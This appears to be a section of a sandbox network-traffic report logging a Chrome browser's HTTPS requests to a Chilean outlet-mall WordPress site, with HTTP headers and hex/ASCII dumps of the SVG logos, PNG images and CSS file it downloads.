2025-01-10 19:49:33 UTC	3708	IN	Data Raw: fb b7 6c 40 6c b0 da be 79 18 7d 34 33 e6 67 d7 75 21 a9 ae aa 9e ac 60 d7 1d 39 5c ea ba f5 5b 50 44 cc f8 db ed 22 ce 12 e2 22 38 5f 9e c9 31 e4 38 59 4f ce 98 4e 40 27 fd e1 8e 59 bf 99 2f 1e 3a ff 7a 76 e4 e1 3e b0 5f 3e 3f 73 f2 fc 03 69 24 a5 a2 ca 22 5e c7 28 ec 4d 2c ed da 3d 00 15 f6 3b ce 39 4c ee 1c 8a 2a 58 96 52 28 69 00 8d 7f a8 87 b7 e8 b9 4b 78 54 5e 78 b6 17 3d 1e 25 8e 1a 20 f6 87 22 3e 8c da 9c 87 0f 1c 7e 3f f3 63 fb 67 77 35 f7 3c 48 08 59 43 65 81 e0 e3 7b f9 d9 5d 86 55 45 bd 6b 79 59 41 87 82 90 6b 6c d4 07 51 f8 74 67 3c dc 45 17 af e5 65 85 36 f8 87 be ef ef fb 79 7e 83 2a cb f6 13 f4 e5 e5 85 ed e4 26 45 10 41 7c 9b a2 bd 64 d4 8c 1b 81 bd ab 2e f9 05 9f 0f 8e 64 ef 97 87 4a 4b 05 62 63 47 69 05 6c 91 f7 c5 d4 22 51 ff 05 45 1c Data Ascii: l@ly}43gu!`9\[PD""8_18YON@'Y/:zv>_>?si$"^(M,=;9LXR(iKxT^x=% ">~?cgw5<HYCe{]UEkyYAklQtg<Ee6y~&EA\|d.dJKbcGil"QE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.17	49719	200.111.89.45	443	7060	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:49:33 UTC	644	OUT	GET /wp-content/uploads/2021/11/LOGO-MAIPU-BLANCO.svg HTTP/1.1 Host: patiooutletmaipu.cl Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://patiooutletmaipu.cl/tiendas/head/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 19:49:33 UTC	299	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:44:44 GMT Server: Apache/2 Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 03 Nov 2021 15:49:02 GMT ETag: "820-5cfe459583780" Accept-Ranges: bytes Content-Length: 2080 Vary: Accept-Encoding,User-Agent Content-Type: image/svg+xml
2025-01-10 19:49:33 UTC	2080	IN	Data Raw: 3c 73 76 67 20 65 6e 61 62 6c 65 2d 62 61 63 6b 67 72 6f 75 6e 64 3d 22 6e 65 77 20 30 20 30 20 39 32 20 34 35 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 39 32 20 34 35 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 3c 67 20 66 69 6c 6c 3d 22 23 66 66 66 22 3e 3c 70 61 74 68 20 64 3d 22 6d 33 37 2e 36 20 32 37 2e 39 63 33 2e 39 20 30 20 37 2e 33 20 33 2e 31 20 37 2e 33 20 37 2e 31 73 2d 33 2e 34 20 37 2e 31 2d 37 2e 33 20 37 2e 31 2d 37 2e 33 2d 33 2e 32 2d 37 2e 33 2d 37 63 30 2d 34 2e 33 20 33 2e 36 2d 37 2e 32 20 37 2e 33 2d 37 2e 32 6d 30 20 31 33 63 33 2e 32 20 30 20 35 2e 39 2d 32 2e 36 20 35 2e 39 2d 35 2e 38 73 2d 32 2e 37 2d 35 2e 39 2d 35 2e 39 2d 35 2e 39 63 2d 33 2e 31 20 30 2d Data Ascii: <svg enable-background="new 0 0 92 45" viewBox="0 0 92 45" xmlns="http://www.w3.org/2000/svg"><g fill="#fff"><path d="m37.6 27.9c3.9 0 7.3 3.1 7.3 7.1s-3.4 7.1-7.3 7.1-7.3-3.2-7.3-7c0-4.3 3.6-7.2 7.3-7.2m0 13c3.2 0 5.9-2.6 5.9-5.8s-2.7-5.9-5.9-5.9c-3.1 0-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.17	49721	200.111.89.45	443	7060	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:49:33 UTC	638	OUT	GET /wp-content/uploads/2023/09/TikTok-Icon.png HTTP/1.1 Host: patiooutletmaipu.cl Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://patiooutletmaipu.cl/tiendas/head/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 19:49:33 UTC	263	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:44:44 GMT Server: Apache/2 Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 21 Sep 2023 17:45:34 GMT ETag: "950a-605e20f144b80" Accept-Ranges: bytes Content-Length: 38154 Content-Type: image/png
2025-01-10 19:49:33 UTC	7929	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 03 21 00 00 03 20 08 06 00 00 00 34 b2 6d 56 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 20 00 49 44 41 54 78 9c 62 fc ff ff 3f c3 28 18 05 a3 60 14 8c 82 61 00 1a ac 1c 90 3c 21 c0 c0 c0 60 80 e6 29 03 a8 38 3a 00 89 f3 d3 39 00 0e e2 10 3f 80 c6 7f 00 c5 30 70 81 a1 e1 d8 07 da 3a 6d 14 8c 82 51 30 0a 46 01 4d 01 03 03 03 00 00 00 ff ff 1a ed 84 8c 82 51 30 0a 46 c1 60 05 0d 56 b0 4e 03 72 87 42 01 8a 19 a0 e2 fa 23 38 fe 3e 82 3b 25 10 f0 01 89 8d e8 b8 34 1c 43 ef d4 8c 82 51 30 0a 46 c1 28 18 68 c0 c0 c0 00 00 00 00 ff ff ec d7 b1 15 00 10 14 04 c1 eb bf 4b 9d 08 f8 8f 06 10 98 49 b6 86 35 21 00 2f ac c1 a8 d6 5c fc 3e 16 a7 b4 39 26 fb ac 8c 41 31 2a 00 77 25 e9 00 00 00 Data Ascii: PNGIHDR! 4mVpHYs~ IDATxb?(`a<!`)8:9?0p:mQ0FMQ0F`VNrB#8>;%4CQ0F(hKI5!/\>9&A1*w%
2025-01-10 19:49:33 UTC	8000	IN	Data Raw: df a5 50 10 6c 97 10 33 2c 00 fe c9 87 13 08 68 9f 18 6e 3b 00 00 00 ff ff ec da 01 0d 00 00 0c c2 30 a4 5f fa 6d 90 d0 da d8 d6 4b c8 d9 b0 00 a8 a2 86 c0 8a dd 2d 2b c9 03 00 00 ff ff 1a b9 9d 10 48 ef 33 7f 10 b8 64 14 8c 82 51 30 0a 46 c1 28 40 07 a3 b3 21 a3 60 14 0c 7f 20 cf c0 c0 50 30 22 e3 99 81 81 01 00 00 00 ff ff 1a c9 33 21 a3 cb b0 46 c1 28 18 05 a3 60 14 0c 4e 30 3a 1b 32 0a 46 c1 48 01 f5 0c 0d 56 06 23 2e b6 19 18 18 00 00 00 00 ff ff 1a 99 9d 90 06 ab 06 68 ef 73 14 8c 82 51 30 0a 46 c1 28 18 ac a0 60 f4 16 f5 51 30 0a 46 04 18 79 03 e3 0c 0c 0c 00 00 00 00 ff ff 1a 79 9d 90 06 2b 05 70 af 73 14 8c 82 51 30 0a 46 c1 28 18 cc a0 e1 d8 87 d1 65 59 a3 60 14 8c 08 a0 cf d0 60 35 b2 96 65 31 30 30 00 00 00 00 ff ff ec db 31 01 00 00 08 02 c1 Data Ascii: Pl3,hn;0_mK-+H3dQ0F(@!` P0"3!F(`N0:2FHV#.hsQ0F(`Q0Fyy+psQ0F(eY``5e1001
2025-01-10 19:49:33 UTC	8000	IN	Data Raw: 8c 82 51 30 0a 46 c1 28 18 1e 00 b2 ff 9c 81 81 01 00 00 00 ff ff 42 74 42 20 9b 29 47 c1 28 18 05 43 13 8c ce 82 50 1b 20 3a 1f 05 34 dc e7 31 0a 46 c1 28 18 05 a3 60 14 8c 24 00 ea 6f 6c 60 60 60 60 00 00 00 00 ff ff 42 9e 09 19 3d 19 6b 14 8c 82 a1 09 2e 8e de 0b 42 65 d0 60 55 00 ed d8 8d 76 3e 46 c1 28 18 05 a3 60 14 8c 02 6a 03 06 06 06 00 00 00 00 ff ff 42 ee 84 28 8c 06 f0 28 18 05 43 12 4c 18 8d 36 2a 81 06 2b d0 e9 56 0b 46 97 5d 8d 82 51 30 0a 46 c1 28 18 05 34 01 90 95 57 0c 0c 0c 00 00 00 00 ff ff 1a ed 84 8c 82 51 30 b4 c1 47 86 86 63 0b 46 e3 90 42 00 59 7a b5 00 7a d2 d4 28 18 05 a3 60 14 8c 82 51 30 0a 68 03 20 2b af 18 18 18 00 00 00 00 ff ff 62 1a 0d e0 51 30 0a 86 34 18 ed 80 50 0a 1a ac 02 a0 27 75 8c 76 40 46 c1 28 18 05 a3 60 14 8c Data Ascii: Q0F(BtB )G(CP :41F(`$ol````B=k.Be`Uv>F(`jB((CL6*+VF]Q0F(4WQ0GcFBYzz(`Q0h +bQ04P'uv@F(`
2025-01-10 19:49:33 UTC	8000	IN	Data Raw: 94 03 06 06 06 00 00 00 00 ff ff a2 e6 9e 10 86 d1 db d3 47 c1 28 18 05 83 08 e8 33 30 30 f4 83 71 83 d5 46 e8 3a d6 0d a3 1d 12 12 00 e4 f6 7a 58 c7 63 74 af c7 28 18 05 a3 60 14 8c 6c 40 bd 2b 39 18 18 18 00 00 00 00 ff ff a2 ee 4c 08 03 b8 d2 ba 00 ad fc 47 c1 28 18 05 a3 60 30 82 83 48 1d 92 d1 d3 b5 d0 01 e4 74 2b 87 d1 8e c7 28 18 05 a3 60 14 8c 02 34 40 b5 a5 58 0c 0c 0c 0c 00 00 00 00 ff ff a2 45 27 a4 00 3a fa 38 0a 46 c1 28 18 05 83 1d 3c 84 76 48 0e 80 f1 48 9c 25 81 cc 76 38 40 f1 e8 9e be 51 30 0a 46 c1 28 18 05 d8 00 55 97 62 31 30 30 30 00 00 00 00 ff ff a2 45 27 04 74 5a ca 7d ea 1a 3a 0a 46 c1 28 18 05 74 01 a0 59 92 0b c3 ba 53 82 e8 74 c0 e8 d1 d9 8e 51 30 0a 46 c1 28 18 05 84 00 d5 4e c5 02 03 06 06 06 00 00 00 00 ff ff a2 7e 27 84 61 Data Ascii: G(300qF:zXct(`l@+9LG(`0Ht+(`4@XE':8F(<vHH%v8@Q0F(Ub1000E'tZ}:F(tYStQ0F(N~'a
2025-01-10 19:49:33 UTC	6225	IN	Data Raw: a0 07 60 60 60 00 00 00 00 ff ff 1a ed 84 d0 1b 40 8e 7a 1b 3d 21 63 14 8c 82 91 03 fc 69 36 52 3e 7a 23 f3 60 02 b0 99 91 fb d0 3d 23 09 34 5d aa 05 5a 72 05 3a f1 0a d4 f9 81 1c bb ab 3f 14 03 6d 90 83 d1 bc 3b 72 c0 45 e8 fe dd 51 40 2f c0 c0 c0 00 00 00 00 ff ff 1a ed 84 0c 04 80 9c 90 31 7a 62 d6 28 18 05 23 07 4c a0 d9 08 f9 e8 8d cc 83 11 f8 43 3b 06 ef c1 cb a3 20 33 24 0e 14 75 4a 20 fa 0b a0 1d 9c 0f d0 25 57 f1 d0 ce cf 28 a0 1d 18 cd bb c3 1f 7c 04 2f 97 1f dd 88 4e 5f c0 c0 c0 00 00 00 00 ff ff 62 fc ff ff ff 48 f2 ef e0 01 90 ca e8 c0 e8 e8 d5 b0 05 b4 5a ef 6b 30 00 8d 0e d0 51 85 0f 68 60 ae 02 91 eb d6 69 15 96 f4 5e b6 42 ab 70 04 01 81 01 28 4b 68 e5 9f 81 f0 0b 3d 01 2c dc 1e 10 08 3f 01 68 7e 1f ca e1 41 8b bc 3b 9c d2 3a c3 08 48 ef Data Ascii: ```@z=!ci6R>z#`=#4]Zr:?m;rEQ@/1zb(#LC; 3$uJ %W(\|/N_bHZk0Qh`i^Bp(Kh=,?h~A;:H

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.17	49725	200.111.89.45	443	7060	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:49:33 UTC	437	OUT	GET /wp-content/uploads/2021/11/LOGO-MAIPU.svg HTTP/1.1 Host: patiooutletmaipu.cl Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=94e37336-e4b6-4f92-a196-add1c5c06323
2025-01-10 19:49:33 UTC	299	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:44:44 GMT Server: Apache/2 Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 03 Nov 2021 15:48:54 GMT ETag: "a60-5cfe458de2580" Accept-Ranges: bytes Content-Length: 2656 Vary: Accept-Encoding,User-Agent Content-Type: image/svg+xml
2025-01-10 19:49:33 UTC	2656	IN	Data Raw: 3c 73 76 67 20 65 6e 61 62 6c 65 2d 62 61 63 6b 67 72 6f 75 6e 64 3d 22 6e 65 77 20 30 20 30 20 39 32 20 34 35 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 39 32 20 34 35 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 3e 3c 63 6c 69 70 50 61 74 68 20 69 64 3d 22 61 22 3e 3c 70 61 74 68 20 64 3d 22 6d 30 20 32 2e 39 68 39 32 76 33 39 2e 32 68 2d 39 32 7a 22 2f 3e 3c 2f 63 6c 69 70 50 61 74 68 3e 3c 63 6c 69 70 50 61 74 68 20 69 64 3d 22 62 22 3e 3c 70 61 74 68 20 64 3d 22 6d 2d 31 32 2e 32 2d 39 2e 34 68 31 31 36 2e 34 76 36 35 2e 35 68 2d 31 31 36 2e 34 7a 22 2f 3e 3c Data Ascii: <svg enable-background="new 0 0 92 45" viewBox="0 0 92 45" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><clipPath id="a"><path d="m0 2.9h92v39.2h-92z"/></clipPath><clipPath id="b"><path d="m-12.2-9.4h116.4v65.5h-116.4z"/><

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.17	49724	200.111.89.45	443	7060	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:49:33 UTC	624	OUT	GET /wp-content/plugins/oxygen/component-framework/vendor/aos/aos.css?ver=6.5.5 HTTP/1.1 Host: patiooutletmaipu.cl Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://patiooutletmaipu.cl/tiendas/head/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 19:49:33 UTC	296	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:44:44 GMT Server: Apache/2 Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 29 Aug 2023 22:10:43 GMT ETag: "65c5-6041714fabec0" Accept-Ranges: bytes Content-Length: 26053 Vary: Accept-Encoding,User-Agent Content-Type: text/css
2025-01-10 19:49:33 UTC	7896	IN	Data Raw: 5b 64 61 74 61 2d 61 6f 73 5d 5b 64 61 74 61 2d 61 6f 73 5d 5b 64 61 74 61 2d 61 6f 73 2d 64 75 72 61 74 69 6f 6e 3d 22 35 30 22 5d 2c 62 6f 64 79 5b 64 61 74 61 2d 61 6f 73 2d 64 75 72 61 74 69 6f 6e 3d 22 35 30 22 5d 20 5b 64 61 74 61 2d 61 6f 73 5d 7b 74 72 61 6e 73 69 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 35 30 6d 73 7d 5b 64 61 74 61 2d 61 6f 73 5d 5b 64 61 74 61 2d 61 6f 73 5d 5b 64 61 74 61 2d 61 6f 73 2d 64 65 6c 61 79 3d 22 35 30 22 5d 2c 62 6f 64 79 5b 64 61 74 61 2d 61 6f 73 2d 64 65 6c 61 79 3d 22 35 30 22 5d 20 5b 64 61 74 61 2d 61 6f 73 5d 7b 74 72 61 6e 73 69 74 69 6f 6e 2d 64 65 6c 61 79 3a 30 7d 5b 64 61 74 61 2d 61 6f 73 5d 5b 64 61 74 61 2d 61 6f 73 5d 5b 64 61 74 61 2d 61 6f 73 2d 64 65 6c 61 79 3d 22 35 30 22 5d 2e 61 6f 73 2d 61 Data Ascii: [data-aos][data-aos][data-aos-duration="50"],body[data-aos-duration="50"] [data-aos]{transition-duration:50ms}[data-aos][data-aos][data-aos-delay="50"],body[data-aos-delay="50"] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay="50"].aos-a
2025-01-10 19:49:33 UTC	8000	IN	Data Raw: 2d 64 75 72 61 74 69 6f 6e 3a 31 2e 32 73 7d 5b 64 61 74 61 2d 61 6f 73 5d 5b 64 61 74 61 2d 61 6f 73 5d 5b 64 61 74 61 2d 61 6f 73 2d 64 65 6c 61 79 3d 22 31 32 30 30 22 5d 2c 62 6f 64 79 5b 64 61 74 61 2d 61 6f 73 2d 64 65 6c 61 79 3d 22 31 32 30 30 22 5d 20 5b 64 61 74 61 2d 61 6f 73 5d 7b 74 72 61 6e 73 69 74 69 6f 6e 2d 64 65 6c 61 79 3a 30 7d 5b 64 61 74 61 2d 61 6f 73 5d 5b 64 61 74 61 2d 61 6f 73 5d 5b 64 61 74 61 2d 61 6f 73 2d 64 65 6c 61 79 3d 22 31 32 30 30 22 5d 2e 61 6f 73 2d 61 6e 69 6d 61 74 65 2c 62 6f 64 79 5b 64 61 74 61 2d 61 6f 73 2d 64 65 6c 61 79 3d 22 31 32 30 30 22 5d 20 5b 64 61 74 61 2d 61 6f 73 5d 2e 61 6f 73 2d 61 6e 69 6d 61 74 65 7b 74 72 61 6e 73 69 74 69 6f 6e 2d 64 65 6c 61 79 3a 31 2e 32 73 7d 5b 64 61 74 61 2d 61 6f 73 Data Ascii: -duration:1.2s}[data-aos][data-aos][data-aos-delay="1200"],body[data-aos-delay="1200"] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay="1200"].aos-animate,body[data-aos-delay="1200"] [data-aos].aos-animate{transition-delay:1.2s}[data-aos
2025-01-10 19:49:33 UTC	8000	IN	Data Raw: 65 6c 61 79 3d 22 32 33 35 30 22 5d 2c 62 6f 64 79 5b 64 61 74 61 2d 61 6f 73 2d 64 65 6c 61 79 3d 22 32 33 35 30 22 5d 20 5b 64 61 74 61 2d 61 6f 73 5d 7b 74 72 61 6e 73 69 74 69 6f 6e 2d 64 65 6c 61 79 3a 30 7d 5b 64 61 74 61 2d 61 6f 73 5d 5b 64 61 74 61 2d 61 6f 73 5d 5b 64 61 74 61 2d 61 6f 73 2d 64 65 6c 61 79 3d 22 32 33 35 30 22 5d 2e 61 6f 73 2d 61 6e 69 6d 61 74 65 2c 62 6f 64 79 5b 64 61 74 61 2d 61 6f 73 2d 64 65 6c 61 79 3d 22 32 33 35 30 22 5d 20 5b 64 61 74 61 2d 61 6f 73 5d 2e 61 6f 73 2d 61 6e 69 6d 61 74 65 7b 74 72 61 6e 73 69 74 69 6f 6e 2d 64 65 6c 61 79 3a 32 2e 33 35 73 7d 5b 64 61 74 61 2d 61 6f 73 5d 5b 64 61 74 61 2d 61 6f 73 5d 5b 64 61 74 61 2d 61 6f 73 2d 64 75 72 61 74 69 6f 6e 3d 22 32 34 30 30 22 5d 2c 62 6f 64 79 5b 64 61 Data Ascii: elay="2350"],body[data-aos-delay="2350"] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay="2350"].aos-animate,body[data-aos-delay="2350"] [data-aos].aos-animate{transition-delay:2.35s}[data-aos][data-aos][data-aos-duration="2400"],body[da
2025-01-10 19:49:33 UTC	2157	IN	Data Raw: 3d 66 61 64 65 2d 72 69 67 68 74 5d 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 2d 31 30 30 70 78 2c 30 2c 30 29 7d 5b 64 61 74 61 2d 61 6f 73 3d 66 61 64 65 2d 6c 65 66 74 5d 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 31 30 30 70 78 2c 30 2c 30 29 7d 5b 64 61 74 61 2d 61 6f 73 3d 66 61 64 65 2d 75 70 2d 72 69 67 68 74 5d 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 2d 31 30 30 70 78 2c 31 30 30 70 78 2c 30 29 7d 5b 64 61 74 61 2d 61 6f 73 3d 66 61 64 65 2d 75 70 2d 6c 65 66 74 5d 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 31 30 30 70 78 2c 31 30 30 70 78 2c 30 29 7d 5b 64 61 74 61 2d 61 6f 73 3d 66 61 64 65 2d 64 6f 77 6e 2d 72 69 67 68 74 5d 7b 74 72 61 Data Ascii: =fade-right]{transform:translate3d(-100px,0,0)}[data-aos=fade-left]{transform:translate3d(100px,0,0)}[data-aos=fade-up-right]{transform:translate3d(-100px,100px,0)}[data-aos=fade-up-left]{transform:translate3d(100px,100px,0)}[data-aos=fade-down-right]{tra

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.17	49726	200.111.89.45	443	7060	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:49:33 UTC	431	OUT	GET /wp-content/uploads/2025/01/head.png HTTP/1.1 Host: patiooutletmaipu.cl Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=94e37336-e4b6-4f92-a196-add1c5c06323
2025-01-10 19:49:34 UTC	263	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:44:45 GMT Server: Apache/2 Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 09 Jan 2025 12:39:44 GMT ETag: "8b88-62b4545d0bd4b" Accept-Ranges: bytes Content-Length: 35720 Content-Type: image/png
2025-01-10 19:49:34 UTC	7929	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 04 38 00 00 04 38 08 06 00 00 00 ec 10 6c 8f 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 96 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 11 00 00 00 5a 87 69 00 04 00 00 00 01 00 00 00 6c 00 00 00 00 00 00 00 5c 00 00 00 01 00 00 00 5c 00 00 00 01 77 77 77 2e 69 6e 6b 73 63 61 70 65 2e 6f 72 67 00 00 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 04 38 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 62 08 b4 4a 00 00 00 09 70 48 59 73 00 00 0e 26 00 00 0e 26 01 a2 ef 25 fc 00 00 01 64 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 Data Ascii: PNGIHDR88lsRGBeXIfMM*JR(1Zil\\www.inkscape.org88bJpHYs&&%diTXtXML:com.adobe.xmp
2025-01-10 19:49:34 UTC	8000	IN	Data Raw: 80 80 e3 99 1e 7e 45 80 c0 90 08 9c 70 c2 09 e9 dc 73 cf 4d 67 9f 7d 76 7a d1 8b 5e 94 e6 ce 9d 3b a1 ca b7 6c d9 92 ee bc f3 ce 74 ed b5 d7 a6 ab af be 3a dd 76 db 6d 69 cf 9e 3d 13 7a 0f 2f 26 40 80 00 01 02 04 08 10 20 40 a0 7b 02 53 f2 5b f9 8e bc 7b 9e de 89 00 81 86 05 a6 4e 9d 9a ce 3a eb ac 74 d1 45 17 a5 57 bd ea 55 69 f6 ec d9 5d 99 6d b9 8a e3 86 1b 6e 48 9f fb dc e7 d2 97 bf fc 65 57 75 74 45 d5 9b 10 20 40 80 00 01 02 04 08 10 98 98 80 80 63 62 5e 5e 4d 80 40 50 81 97 bf fc e5 e9 43 1f fa 50 27 d8 28 fb 6b 4c d6 51 82 8e 4f 7e f2 93 e9 9a 6b ae 99 ac 53 78 5f 02 04 08 10 20 40 80 00 01 02 04 9e 45 40 c0 f1 2c 28 fe 13 01 02 83 23 b0 7c f9 f2 4e b0 71 e1 85 17 a6 d1 d1 d1 9e 14 56 36 25 fd c2 17 be 90 2e bb ec b2 ce 3e 1d 3d 39 a9 93 10 20 40 Data Ascii: ~EpsMg}vz^;lt:vmi=z/&@ @{S[{N:tEWUi]mnHeWutE @cb^^M@PCP'(kLQO~kSx_ @E@,(#\|NqV6%.>=9 @
2025-01-10 19:49:34 UTC	8000	IN	Data Raw: 00 01 02 04 08 34 25 20 e0 68 aa 1d 26 43 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 d4 08 08 38 6a d4 8c 21 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 9a 12 10 70 34 d5 0e 93 21 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 6a 04 04 1c 35 6a c6 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 4d 09 08 38 9a 6a 87 c9 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 35 02 02 8e 1a 35 63 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 81 a6 04 04 1c 4d b5 c3 64 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 81 1a 01 01 47 8d 9a 31 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 40 53 02 02 8e a6 da 61 32 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 40 8d 80 80 a3 46 cd 18 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 a0 29 01 01 47 53 ed 30 19 02 04 08 10 20 40 80 Data Ascii: 4% h&C @8j!@ @p4!@ @j5j @ @M8j @ @55c @ @Md @ @G1 @ @@Sa2 @ @@F @ @)GS0 @
2025-01-10 19:49:34 UTC	8000	IN	Data Raw: 01 02 04 ba 2c d0 82 81 4f d5 4b 09 b6 d7 f9 37 ce bf 00 cf b7 b7 a3 f5 4c 87 47 8f 4d 96 fb 1e de 53 8e cd 9c cd b7 03 f3 54 fc ec a9 a9 f2 73 75 05 98 53 f5 8c 9a ac a7 b5 b7 e3 69 53 5d 65 e1 d3 6d c9 e1 35 5e ae cf d3 66 5f 5a 41 02 eb 56 af 2e a9 53 e4 d0 ab 96 d7 64 3d 53 2e ec ca 50 0e fd c6 1c ca b6 28 8a 00 01 02 04 08 10 18 76 81 f7 5d bf ad bc 75 c7 a6 b4 33 fc af a9 e1 c6 de 33 33 e5 9e af 3f 5f 5e ac ff ed d2 f6 b5 c3 a7 ca cf 3f f2 62 dd a5 2b d2 7e ee db 96 1a be 63 eb 86 72 d7 ee 1d 5d 6a 8d 7d 21 b0 28 81 76 f9 dc d6 d1 d5 f5 8c 87 6e 6d 73 27 a5 74 6b 97 86 66 6f 04 1c 43 d3 0a 85 10 20 40 80 00 01 02 59 04 ee 18 5f 3f 77 09 c1 cc b9 9c 2f bb db f5 df ed 72 8e 4f 7f 7d 4f 79 f2 c4 54 16 f6 45 d5 f9 db cf 1d 29 bf fe f4 a1 d2 ce 52 c9 ba Data Ascii: ,OK7LGMSTsuSiS]em5^f_ZAV.Sd=S.P(v]u333?_^?b+~cr]j}!(vnms'tkfoC @Y_?w/rO}OyTE)R
